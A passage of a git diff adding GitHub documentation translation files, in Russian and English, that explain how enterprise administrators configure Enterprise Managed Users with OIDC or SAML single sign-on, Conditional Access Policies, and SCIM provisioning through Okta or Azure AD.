помощью {% data variables.product.prodname_dotcom_the_website %} + +1. Перейдите по адресу [https://github.com/login](https://github.com/login). +1. В текстовом поле "Имя пользователя или адрес электронной почты" введите имя пользователя, включая символ подчеркивания и короткий код. + ![Снимок экрана: форма входа](/assets/images/help/enterprises/emu-login-username.png) Когда форма распознает ваше имя пользователя, она обновится. В этой форме не нужно вводить пароль. +1. Чтобы перейти к поставщику удостоверений, нажмите кнопку **Войти с помощью поставщика удостоверений**. + ![Снимок экрана: кнопка "Войти с помощью поставщика удостоверений"](/assets/images/help/enterprises/emu-login-submit.png) + +## Имена пользователей и данные профиля + +{% data variables.product.product_name %} автоматически создает имя пользователя для каждого пользователя, когда его учетная запись создается с помощью SCIM, путем нормализации идентификатора, предоставленного вашим поставщиком удостоверений. Дополнительные сведения см. в разделе [Рекомендации по использованию имени пользователя для внешней проверки подлинности](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication). + +Конфликт может возникнуть при подготовке пользователей, если во время нормализации удаляются уникальные части идентификатора, предоставленного вашим поставщиком удостоверений. Если вы не можете подготовить пользователя из-за конфликта имен пользователей, необходимо изменить имя пользователя, предоставляемое вашим поставщиком удостоверений. Дополнительные сведения см. в разделе [Устранение проблем с именем пользователя](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#resolving-username-problems). + +{% data reusables.enterprise-accounts.emu-only-emails-within-the-enterprise-can-conflict %} + +Имя профиля и адрес электронной почты {% data variables.enterprise.prodname_managed_user %} также предоставляются поставщиком удостоверений. {% data variables.enterprise.prodname_managed_users_caps %} не может изменить имя своего профиля или адрес электронной почты в {% data variables.product.prodname_dotcom %}, а поставщик удостоверений может указать только один адрес электронной почты. + +## Поддержка разработчиков с несколькими учетными записями пользователей в {% data variables.location.product_location %} + +Люди вашей команды может потребоваться внести свой вклад в ресурсы в {% data variables.location.product_location %}, которые находятся за пределами {% data variables.enterprise.prodname_emu_enterprise %}. Например, может потребоваться создать отдельное предприятие для открытый код проектов вашей компании. Так как {% data variables.enterprise.prodname_managed_user %} не может вносить свой вклад в общедоступные ресурсы, пользователям потребуется поддерживать отдельную личную учетную запись для этой работы. + +Люди, которые должны участвовать в работе из двух учетных записей пользователей в {% data variables.location.product_location %} с помощью одной рабочей станции, могут настроить Git для упрощения процесса. Дополнительные сведения см. в разделе [Управление несколькими учетными записями](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts). diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy.md b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy.md new file mode 100644 index 000000000000..74dd43ee44d5 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy.md @@ -0,0 +1,49 @@ +--- +title: About support for your IdP's Conditional Access Policy +shortTitle: Conditional access policy +intro: 'When your enterprise uses OIDC SSO, {% data variables.product.prodname_dotcom %} will validate access to your enterprise and its resources using your IdP''s Conditional Access Policy (CAP).' +product: '{% data reusables.gated-features.emus %}' +versions: + feature: oidc-for-emu +topics: + - Accounts + - Authentication + - Enterprise + - SSO +--- + +{% data reusables.enterprise-accounts.oidc-beta-notice %} + +## About support for Conditional Access Policies + +{% data reusables.enterprise-accounts.emu-cap-validates %} + +CAP support is enabled automatically for any {% data variables.enterprise.prodname_emu_enterprise %} that enables OIDC SSO and cannot be disabled. {% data variables.product.prodname_dotcom %} enforces your IdP's IP conditions but not device compliance conditions. + +For more information about using OIDC with {% data variables.product.prodname_emus %}, see "[Configuring OIDC for Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)" and "[Migrating from SAML to OIDC](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc)." + +{% note %} + +**Note:** If you use Conditional Access (CA) network location policies in your Azure AD tenant, do not use the IP allow list feature on {% data variables.product.prodname_dotcom_the_website %}, with your enterprise account or with any of the organizations owned by the enterprise. Using both is unsupported and can result in the wrong policy applying. For more information about IP allow lists, see "[Enforcing security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)" and "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization)." + +{% endnote %} + +## Considerations for integrations and automations + +{% data variables.product.prodname_dotcom %} sends the originating IP address to your IdP for validation against your CAP. To make sure actions and apps are not blocked by your IdP's CAP, you will need to make changes to your configuration. + +{% data reusables.enterprise-accounts.oidc-gei-warning %} + +### {% data variables.product.prodname_actions %} + +Actions that use a {% data variables.product.pat_generic %} will likely be blocked by your IdP's CAP. We recommend that {% data variables.product.pat_generic %}s are created by a service account which is then exempted from IP controls in your IdP's CAP. + +If you're unable to use a service account, another option for unblocking actions that use {% data variables.product.pat_generic %}s is to allow the IP ranges used by {% data variables.product.prodname_actions %}. For more information, see "[About GitHub's IP addresses](/authentication/keeping-your-account-and-data-secure/about-githubs-ip-addresses)." + +### {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} + +When {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} make requests on a member's behalf, {% data variables.product.prodname_dotcom %} will send the IP address of the app's server to your IdP for validation. If the IP address of the app's server is not validated by your IdP's CAP, the request will fail. + +You can contact the owners of the apps you want to use, ask for their IP ranges, and configure your IdP's CAP to allow access from those IP ranges. If you're unable to contact the owners, you can review your IdP sign-in logs to review the IP addresses seen in the requests, then allow-list those addresses. + +You can also enable IP allow list configuration for installed {% data variables.product.prodname_github_apps %}. When enabled, all {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %} will continue working regardless of the originating IP address. For more information, see "[Enforcing policies for security settings in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#allowing-access-by-github-apps)." diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users.md b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users.md new file mode 100644 index 000000000000..66e9c9d84f77 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users.md @@ -0,0 +1,49 @@ +--- +title: Configuring OIDC for Enterprise Managed Users +shortTitle: OIDC for managed users +intro: 'You can automatically manage access to your enterprise account on {% data variables.product.prodname_dotcom %} by configuring OpenID Connect (OIDC) single sign-on (SSO) and enable support for your IdP''s Conditional Access Policy (CAP).' +product: '{% data reusables.gated-features.emus %}' +versions: + feature: oidc-for-emu +topics: + - Accounts + - Authentication + - Enterprise + - SSO +--- + +{% data reusables.enterprise-accounts.oidc-beta-notice %} + +## About OIDC for Enterprise Managed Users + +With {% data variables.product.prodname_emus %}, your enterprise uses your identity provider (IdP) to authenticate all members. You can use OpenID Connect (OIDC) to manage authentication for your {% data variables.enterprise.prodname_emu_enterprise %}. Enabling OIDC SSO is a one-click setup process with certificates managed by {% data variables.product.prodname_dotcom %} and your IdP. + +{% data reusables.enterprise-accounts.emu-cap-validates %} For more information, see "[About support for your IdP's Conditional Access Policy](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/about-support-for-your-idps-conditional-access-policy)." + +You can adjust the lifetime of a session, and how often a {% data variables.enterprise.prodname_managed_user %} needs to reauthenticate with your IdP, by changing the lifetime policy property of the ID tokens issued for {% data variables.product.prodname_dotcom %} from your IdP. The default lifetime is one hour. For more information, see "[Configurable token lifetimes in the Microsoft identity platform](https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes)" in the Azure AD documentation. + +If you currently use SAML SSO for authentication and would prefer to use OIDC and benefit from CAP support, you can follow a migration path. For more information, see "[Migrating from SAML to OIDC](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/migrating-from-saml-to-oidc)." + +{% data reusables.enterprise-accounts.oidc-gei-warning %} + +## Identity provider support + +Support for OIDC is in public beta and available for customers using Azure Active Directory (Azure AD). + +Each Azure AD tenant can support only one OIDC integration with {% data variables.product.prodname_emus %}. If you want to connect Azure AD to more than one enterprise on {% data variables.product.prodname_dotcom %}, use SAML instead. For more information, see "[Configuring SAML single sign-on for {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users)." + +## Configuring OIDC for Enterprise Managed Users + +1. Sign into {% data variables.product.prodname_dotcom_the_website %} as the setup user for your new enterprise with the username **@SHORT-CODE_admin**. +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} +1. Select **Require OIDC single sign-on**. + ![Screenshot showing the "Require OIDC single sign-on" checkbox](/assets/images/help/enterprises/require-oidc.png) +1. To continue setup and be redirected to Azure AD, click **Save**. +{% data reusables.enterprise-accounts.emu-azure-admin-consent %} +{% data reusables.enterprise-accounts.download-recovery-codes %} + +## Enabling provisioning + +After you enable OIDC SSO, enable provisioning. For more information, see "[Configuring SCIM provisioning for enterprise managed users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)." diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md new file mode 100644 index 000000000000..fe4dde3d443f --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users.md @@ -0,0 +1,117 @@ +--- +title: Configuring SAML single sign-on for Enterprise Managed Users +shortTitle: SAML for managed users +intro: 'You can automatically manage access to your enterprise account on {% data variables.product.prodname_dotcom %} by configuring Security Assertion Markup Language (SAML) single sign-on (SSO).' +product: '{% data reusables.gated-features.emus %}' +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users + - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users + - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users + - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-saml-single-sign-on-for-enterprise-managed-users +versions: + ghec: '*' +type: tutorial +topics: + - Authentication + - Enterprise + - SSO +--- + +## About SAML single sign-on for {% data variables.product.prodname_emus %} + +With {% data variables.product.prodname_emus %}, your enterprise uses SAML SSO to authenticate all members. Instead of signing in to {% data variables.product.prodname_dotcom %} with a {% data variables.product.prodname_dotcom %} username and password, members of your enterprise will sign in through your IdP. + +{% data variables.product.prodname_emus %} supports the following IdPs: + +{% data reusables.enterprise-accounts.emu-supported-idps %} + +After you configure SAML SSO, we recommend storing your recovery codes so you can recover access to your enterprise in the event that your identity provider is unavailable. + +{% note %} + +**Note:** When SAML SSO is enabled, the only setting you can update on {% data variables.product.prodname_dotcom %} for your existing SAML configuration is the SAML certificate. If you need to update the Sign on URL or Issuer, you must first disable SAML SSO and then reconfigure SAML SSO with the new settings. + +{% endnote %} + +## Configuring SAML single sign-on for {% data variables.product.prodname_emus %} + +To configure SAML SSO for your {% data variables.enterprise.prodname_emu_enterprise %}, you must configure an application on your IdP and then configure your enterprise on GitHub.com. After you configure SAML SSO, you can configure user provisioning. + +To install and configure the {% data variables.product.prodname_emu_idp_application %} application on your IdP, you must have a tenant and administrative access on a supported IdP. + +{% note %} + +{% data reusables.enterprise-accounts.emu-password-reset-session %} + +{% endnote %} + +1. [Configuring your identity provider](#configuring-your-identity-provider) +2. [Configuring your enterprise](#configuring-your-enterprise) +3. [Enabling provisioning](#enabling-provisioning) + +### Configuring your identity provider + +To configure your IdP, follow the instructions they provide for configuring the {% data variables.product.prodname_emu_idp_application %} application on your IdP. + +1. To install the {% data variables.product.prodname_emu_idp_application %} application, click the link for your IdP below: + + - [{% data variables.product.prodname_emu_idp_application %} application on Azure Active Directory](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/aad.githubenterprisemanageduser?tab=Overview) + - [{% data variables.product.prodname_emu_idp_application %} application on Okta](https://www.okta.com/integrations/github-enterprise-managed-user) + +1. To configure the {% data variables.product.prodname_emu_idp_application %} application and your IdP, click the link below and follow the instructions provided by your IdP: + + - [Azure Active Directory tutorial for {% data variables.product.prodname_emus %}](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-tutorial) + - [Okta documentation for {% data variables.product.prodname_emus %}](https://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-GitHub-Enterprise-Managed-User.html) + +1. So you can test and configure your enterprise, assign yourself or the user that will be configuring SAML SSO on {% data variables.product.prodname_dotcom %} to the {% data variables.product.prodname_emu_idp_application %} application on your IdP. + +1. To enable you to continue configuring your enterprise on {% data variables.product.prodname_dotcom %}, locate and note the following information from the application you installed on your IdP: + + | Value | Other names | Description | + | :- | :- | :- | + | IdP Sign-On URL | Login URL, IdP URL | Application's URL on your IdP | + | IdP Identifier URL | Issuer | IdP's identifier to service providers for SAML authentication | + | Signing certificate, Base64-encoded | Public certificate | Public certificate that IdP uses to sign authentication requests | + +### Configuring your enterprise + +After you install and configure the {% data variables.product.prodname_emu_idp_application %} application on your identity provider, you can configure your enterprise. + +1. Sign into {% data variables.product.prodname_dotcom_the_website %} as the setup user for your new enterprise with the username **@SHORT-CODE_admin**. + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.security-tab %} + +1. Under "SAML single sign-on", select **Require SAML authentication**. + ![Checkbox for enabling SAML SSO](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png) + +1. Under **Sign on URL**, type the HTTPS endpoint of your IdP for single sign-on requests that you noted while configuring your IdP. +![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url_business.png) + +1. Under **Issuer**, type your SAML issuer URL that you noted while configuring your IdP, to verify the authenticity of sent messages. +![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png) + +1. Under **Public Certificate**, paste the certificate that you noted while configuring your IdP, to verify SAML responses. +![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png) + +1. To verify the integrity of the requests from your SAML issuer, click {% octicon "pencil" aria-label="The edit icon" %}. Then, in the "Signature Method" and "Digest Method" drop-downs, choose the hashing algorithm used by your SAML issuer. +![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png) + +1. Before enabling SAML SSO for your enterprise, to ensure that the information you've entered is correct, click **Test SAML configuration**. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png) + +1. Click **Save**. + + {% note %} + + **Note:** When you require SAML SSO for your enterprise, the setup user will no longer have access to the enterprise but will remain signed in to GitHub. Only {% data variables.enterprise.prodname_managed_users %} provisioned by your IdP will have access to the enterprise. + + {% endnote %} + +{% data reusables.enterprise-accounts.download-recovery-codes %} + + +### Enabling provisioning + +After you enable SAML SSO, enable provisioning. For more information, see "[Configuring SCIM provisioning for enterprise managed users](//admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users)." + diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md new file mode 100644 index 000000000000..437b370f4a21 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta.md @@ -0,0 +1,102 @@ +--- +title: Настройка подготовки SCIM для управляемых пользователей Enterprise с помощью Okta +shortTitle: Set up provisioning with Okta +intro: 'Можно подготовить к работе новых пользователей и управлять их членством в предприятии и командах, используя Okta в качестве поставщика удостоверений.' +product: '{% data reusables.gated-features.emus %}' +versions: + ghec: '*' +redirect_from: + - /early-access/github/articles/configuring-provisioning-for-managed-users-with-okta + - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users-with-okta + - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users-with-okta + - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta + - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users-with-okta +type: tutorial +topics: + - Accounts + - Authentication + - Enterprise + - SSO +ms.openlocfilehash: b8c086d1d91c1248fa5a0349bb6f8ef32c3bbdf0 +ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: '148160715' +--- +## Сведения о подготовке с помощью Okta + +Вы можете использовать {% data variables.product.prodname_emus %} с Okta в качестве поставщика удостоверений для подготовки новых учетных записей, управления членством в предприятиях и в группах для организаций в предприятии. Дополнительные сведения о подготовке данных для {% data variables.product.prodname_emus %} см. в разделе [Настройка подготовки SCIM для управляемых пользователей Enterprise](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users). + +Перед настройкой подготовки с помощью Okta необходимо настроить единый вход SAML. Дополнительные сведения см. в разделе [Настройка единого входа SAML для управляемых пользователей Enterprise](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users). + +Чтобы настроить подготовку с помощью Okta, необходимо задать имя предприятия в приложении {% data variables.product.prodname_emu_idp_application %} и ввести {% data variables.product.pat_generic %}. Затем можно начать подготовку пользователей в Okta. + +## Поддерживаемые функции + +{% data variables.product.prodname_emus %} поддерживает множество возможностей подготовки в Okta. + +| Компонент | Описание | +| --- | --- | +| Отправка новых пользователей | Пользователи, назначенные приложению {% data variables.product.prodname_emu_idp_application %} в Okta, автоматически создаются в предприятии на {% data variables.product.product_name %}. | +| Принудительные обновления профиля | Обновления профиля пользователя в Okta будут отправлены в {% data variables.product.product_name %}. | +| Отправка групп | Группы в Okta, назначенные приложению {% data variables.product.prodname_emu_idp_application %} в качестве групп отправки, автоматически создаются в организации на {% data variables.product.product_name %}. | +| Принудительная деактивация пользователя | Отмена назначения пользователя из приложения {% data variables.product.prodname_emu_idp_application %} в Okta отключит пользователя на {% data variables.product.product_name %}. Пользователь не сможет войти в систему, но его данные сохранятся. | +| Повторная активация пользователей | Пользователи в Okta, чьи учетные записи Okta повторно активируются и которые назначаются обратно приложению {% data variables.product.prodname_emu_idp_application %}, будут включены. | + +{% note %} + +**Примечание.** {% data variables.product.prodname_emus %} не поддерживает изменения имен пользователей. + +{% endnote %} + +## Настройка названия организации + +После создания {% data variables.enterprise.prodname_emu_enterprise %} можно приступить к настройке подготовки, задав название предприятия в Okta. + +1. Откройте приложение {% data variables.product.prodname_emu_idp_application %} в Okta. +1. Перейдите на вкладку **Вход**. +1. Чтобы внести изменения, щелкните **Правка**. +1. В разделе "Параметры расширенного входа" в текстовом поле "Название организации" введите название организации. Например, если вы обращаетесь к организации по адресу `https://github.com/enterprises/octoinc`, название вашей организации будет octoinc. +![Снимок экрана с полем "Название организации" в Okta](/assets/images/help/enterprises/okta-emu-enterprise-name.png) +1. Чтобы сохранить название организации, щелкните **Сохранить**. + +## Настройка подготовки + +После задания названия организации можно продолжить настройку параметров подготовки. + +Чтобы настроить подготовку, пользователь установки с **@ именем пользователя SHORT-CODE_admin** должен предоставить {% data variables.product.pat_v1 %} с областью **admin:enterprise**. Дополнительные сведения о создании нового маркера см. в разделе [Создание {% data variables.product.pat_generic %}](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users#creating-a-personal-access-token). + +1. Откройте приложение {% data variables.product.prodname_emu_idp_application %} в Okta. +1. Перейдите на вкладку **Инициализация**. +1. В меню настроек щелкните **Интеграция**. +1. Чтобы внести изменения, щелкните **Правка**. +1. Выберите **Включить интеграцию API**. +1. В поле "Токен API" введите {% data variables.product.pat_v1 %} с областью **admin:enterprise** , принадлежащей пользователю установки. +![Снимок экрана с полем маркера API в Okta](/assets/images/help/enterprises/okta-emu-token.png) +1. Щелкните **Проверить учетные данные API**. Если проверка выполнена успешно, в верхней части экрана появится проверочное сообщение. +1. Чтобы сохранить маркер, щелкните **Сохранить**. +1. В меню настроек щелкните **Перейти к приложению**. +![Снимок экрана с пунктом меню "Перейти к приложению" на Okta](/assets/images/help/enterprises/okta-emu-to-app-menu.png) +1. Чтобы разрешить внесение изменений, справа от пункта "Подготовка для приложения" щелкните **Изменить**. +1. Выберите **Включить** справа от разделов **Создание пользователей**, **Обновление атрибутов пользователей** и **Деактивация пользователей**. +![Снимок экрана с параметрами подготовки в Okta](/assets/images/help/enterprises/okta-emu-provisioning-to-app.png) +1. Чтобы завершить настройку подготовки, щелкните **Сохранить**. + +## Назначение пользователей и групп + +После настройки единого входа SAML и подготовки вы сможете подготавливать новых пользователей в {% data variables.product.prodname_dotcom_the_website %}, назначив пользователей или группы приложению {% data variables.product.prodname_emu_idp_application %}. + +{% data reusables.scim.emu-scim-rate-limit %} + +Вы также можете автоматически управлять членством в организации, добавляя группы на вкладку "Группы принудительной отправки" в Okta. После успешной подготовки группы она будет доступна для подключения к командам в организациях предприятия. Дополнительные сведения об управлении командами см. в разделе [Управление членством в командах с помощью групп поставщиков удостоверений](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups). + +При назначении пользователей можно использовать атрибут "Роли" в приложении {% data variables.product.prodname_emu_idp_application %} для настройки роли пользователя в организации на {% data variables.product.product_name %}. Дополнительные сведения о ролях см. в разделе [Роли в организации](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise). + +![Снимок экрана с параметрами роли для подготовленного пользователя на Okta](/assets/images/help/enterprises/okta-emu-user-role.png) + +## Отзыв пользователей и групп + +Чтобы удалить пользователя или группу из {% data variables.product.product_name %}, удалите их с вкладки "Назначения" и вкладки "Отправка групп" в Okta. При удалении пользователя убедитесь, что он удален из всех групп на вкладке "Отправка групп". + + diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md new file mode 100644 index 000000000000..32948205b425 --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users.md @@ -0,0 +1,80 @@ +--- +title: Configuring SCIM provisioning for Enterprise Managed Users +shortTitle: Provisioning managed users +intro: You can configure your identity provider to provision new users and manage their membership in your enterprise and teams. +product: '{% data reusables.gated-features.emus %}' +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users + - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users + - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users + - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/configuring-scim-provisioning-for-enterprise-managed-users +versions: + ghec: '*' +topics: + - Accounts + - Enterprise +--- + +## About provisioning for {% data variables.product.prodname_emus %} + +You must configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members. + +After you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new {% data variables.enterprise.prodname_managed_users %} on {% data variables.product.prodname_dotcom %} via SCIM, and the {% data variables.enterprise.prodname_managed_users %} are added to your enterprise. If you assign a group to the application, all users within the group will be provisioned as new {% data variables.enterprise.prodname_managed_users %}. + +When you update information associated with a user's identity on your IdP, your IdP will update the user's account on {% data variables.product.prodname_dotcom_the_website %}. When you unassign the user from the {% data variables.product.prodname_emu_idp_application %} application or deactivate a user's account on your IdP, your IdP will communicate with {% data variables.product.prodname_dotcom %} to invalidate any sessions and disable the member's account. The disabled account's information is maintained and their username is changed to a hash of their original username with the short code appended. If you reassign a user to the {% data variables.product.prodname_emu_idp_application %} application or reactivate their account on your IdP, the {% data variables.enterprise.prodname_managed_user %} on {% data variables.product.prodname_dotcom %} will be reactivated and username restored. + +Groups in your IdP can be used to manage team membership within your enterprise's organizations, allowing you to configure repository access and permissions through your IdP. For more information, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)." + +## Prerequisites + +Before you can configure provisioning for {% data variables.product.prodname_emus %}, you must configure SAML{% ifversion oidc-for-emu %} or OIDC{% endif %} single-sign on. {% ifversion oidc-for-emu %} + +- For more information on configuring OIDC, see "[Configuring OIDC for Enterprise Managed Users](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-oidc-for-enterprise-managed-users)" +- {% endif %}For information on configuring SAML, see "[Configuring SAML single sign-on for Enterprise Managed Users](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-saml-single-sign-on-for-enterprise-managed-users)." + +## Creating a {% data variables.product.pat_generic %} + +To configure provisioning for your {% data variables.enterprise.prodname_emu_enterprise %}, you need a {% data variables.product.pat_v1 %} with the **admin:enterprise** scope that belongs to the setup user. + +{% warning %} + +**Warning:** If the token expires or a provisioned user creates the token, SCIM provisioning may unexpectedly stop working. Make sure that you create the token while signed in as the setup user and that the token expiration is set to "No expiration". + +{% endwarning %} + +1. Sign into {% data variables.product.prodname_dotcom_the_website %} as the setup user for your new enterprise with the username **@SHORT-CODE_admin**. +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.personal_access_tokens %} +{% data reusables.user-settings.generate_new_token %} +1. Under **Note**, give your token a descriptive name. + ![Screenshot showing the token's name](/assets/images/help/enterprises/emu-pat-name.png) +1. Select the **Expiration** drop-down menu, then click **No expiration**. + ![Screenshot showing token expiration set to no expiration](/assets/images/help/enterprises/emu-pat-no-expiration.png) +1. Select the **admin:enterprise** scope. + ![Screenshot showing the admin:enterprise scope](/assets/images/help/enterprises/enterprise-pat-scope.png) +1. Click **Generate token**. + ![Generate token button](/assets/images/help/settings/generate_token.png) +1. To copy the token to your clipboard, click the {% octicon "paste" aria-label="The copy icon" %}. + ![Newly created token](/assets/images/help/settings/personal_access_tokens.png) +2. To save the token for use later, store the new token securely in a password manager. + +## Configuring provisioning for {% data variables.product.prodname_emus %} + +After creating your {% data variables.product.pat_generic %} and storing it securely, you can configure provisioning on your identity provider. + +{% data reusables.scim.emu-scim-rate-limit %} + +To configure provisioning, follow the appropriate link from the table below. + +| Identity provider | SSO method | More information | +|---|---|---|{% ifversion oidc-for-emu %} +| Azure AD | OIDC | [Tutorial: Configure GitHub Enterprise Managed User (OIDC) for automatic user provisioning](https://docs.microsoft.com/azure/active-directory/saas-apps/github-enterprise-managed-user-oidc-provisioning-tutorial) in the Azure AD documentation |{% endif %} +| Azure AD | SAML | [Tutorial: Configure GitHub Enterprise Managed User for automatic user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-provisioning-tutorial) in the Azure AD documentation | +| Okta | SAML | [Configuring SCIM provisioning for Enterprise Managed Users with Okta](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta) | + +{% note %} + +**Note:** Azure AD does not support provisioning nested groups. For more information, see [How Application Provisioning works in Azure Active Directory](https://learn.microsoft.com/en-us/azure/active-directory/app-provisioning/how-provisioning-works#assignment-based-scoping). + +{% endnote %} \ No newline at end of file diff --git a/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/index.md b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/index.md new file mode 100644 index 000000000000..e2ce499bb66f --- /dev/null +++ b/translations/ru-RU/content/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/index.md @@ -0,0 +1,33 @@ +--- +title: Использование управляемых пользователей Enterprise и SAML для IAM +shortTitle: Enterprise Managed Users +product: '{% data reusables.gated-features.emus %}' +intro: 'Вы можете управлять удостоверениями и доступом с помощью поставщика удостоверений и подготавливать учетные записи, которые могут вносить свой вклад только в ваше предприятие.' +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider + - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider + - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users + - /admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam +versions: + ghec: '*' +topics: + - Enterprise 